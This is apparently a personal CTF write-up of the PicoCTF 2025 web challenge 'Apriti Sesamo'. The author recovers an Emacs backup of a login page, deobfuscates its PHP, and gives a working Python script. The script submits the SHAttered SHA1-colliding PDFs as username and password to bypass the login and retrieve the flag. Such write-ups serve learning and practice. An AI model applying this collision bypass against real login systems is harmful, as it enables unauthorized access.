PicoCTF 2025 Web Exploitation—Apriti Sesamo Writeup
Welcome back to another one of my writeups! In this post, we’ll dive into an exciting web exploitation challenge from PicoCTF called Apriti Sesamo. We’ll walk through the problem step-by-step, explore the techniques used to uncover vulnerabilities, and ultimately crack the challenge wide open. Whether you're a beginner trying to learn or just here to see how it's done, this writeup is for you. Let’s get started!
Let's take a look at the hints provided
Hint 1: Backup files
Hint 2: Rumor has it, the lead developer is a militant emacs user
Now let's analyze the web interface.

I attempted logging in using commonly used credentials to observe how the login form responds.

Next step we took is to check the source code of the login page

Nothing useful. So, what’s next? Time to revisit the hints. The first one mentions Backup files, which implies that there might be a backup version of the site or a file available. The question is: how do we go about discovering it?
This where the hint 2 comes into play, based on the hint, it seems like our goal is to retrieve an Emacs backup of the login page. These types of backup files usually have a tilde (~) appended to the end of the original filename. For instance, if the original file is login.php, the backup would be named login.php~. With that in mind, let’s try accessing impossibleLogin.php~ and see what we find.
At the very bottom this obfuscated PHP code appears
<?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>
This is the deobfuscated version of the code (You can deobfuscate this PHP code manually)
<?php
if (isset($_POST['username']) && isset($_POST['pwd'])) {
$username = $_POST['username'];
$password = $_POST['pwd'];
if ($username == $password) {
echo "<br/>Failed! No flag for you";
} else {
if (sha1($username) === sha1($password)) {
echo file_get_contents("flag.txt");
} else {
echo "<br/>Failed! No flag for you";
}
}
}
?>
Looking at the code logic, it first checks if the username is exactly the same as the password. If that condition is true, the program immediately exits without revealing the flag. However, if the username and password are different, it proceeds to compare their SHA1 hashes. If the hashes match, the flag is returned. Initially, I thought about using type juggling to bypass the first condition, but that approach didn’t yield any results. Instead, I leveraged the SHAttered vulnerability (https://shattered.io/), which demonstrates a real-world SHA1 collision using two different PDF files that generate the same hash. By submitting the raw bytes of these colliding files as the username and password to impossibleLogin.php, I was able to trigger the condition and successfully retrieve the flag.
Here's my exploit to retrieve the flag
import requests
import re
# Downloads the binary content of a PDF file from the given URL
def download_pdf_content(description, pdf_url):
print(f"[+] Downloading content for '{description}' from: {pdf_url}")
try:
response = requests.get(pdf_url)
response.raise_for_status() # Raise an exception for HTTP errors
print(f"[+] Successfully retrieved {description}.")
return response.content # Return the raw byte content of the file
except requests.exceptions.RequestException as error:
print(f"[!] Failed to retrieve {description}. Error: {error}")
exit(1)
# Searches for a PicoCTF flag pattern in the server's response
def extract_flag_from_response(text):
match = re.search(r'picoCTF\{.*?\}', text)
if match:
print(f"[+] Flag: {match.group(0)}") # Print the found flag
else:
print("[!] Flag pattern not found in response. Full response below:\n")
print(text)
# Sends a POST request with the given form data to the specified URL
def send_post_request(endpoint_url, form_payload):
print(f"[+] Sending POST request to '{endpoint_url}' with the downloaded PDF data...")
try:
response = requests.post(endpoint_url, data=form_payload)
print("[+] Server responded. Analyzing response...")
extract_flag_from_response(response.text) # Look for flag in the response
except requests.exceptions.RequestException as error:
print(f"[!] Request to '{endpoint_url}' failed. Error: {error}")
exit(1)
# Main function to control the workflow
def main():
target_endpoint_url = "http://verbal-sleep.picoctf.net:49414/impossibleLogin.php"
# URLs of two known SHA1-colliding PDF files (SHAttered exploit)
pdf_url_1 = "https://shattered.io/static/shattered-1.pdf"
pdf_url_2 = "https://shattered.io/static/shattered-2.pdf"
print("[*] Starting PDF content retrieval process...")
# Download the contents of both colliding PDFs
pdf_content_one = download_pdf_content("Shattered PDF One", pdf_url_1)
pdf_content_two = download_pdf_content("Shattered PDF Two", pdf_url_2)
# Construct the form payload using the two colliding PDFs
form_data_payload = {
"username": pdf_content_two, # One PDF as username
"pwd": pdf_content_one # The other PDF as password
}
# Send the form to the challenge and look for the flag in the response
send_post_request(target_endpoint_url, form_data_payload)
# Entry point of the script
if __name__ == "__main__":
main()
Run and it should give us the flag!!

Last updated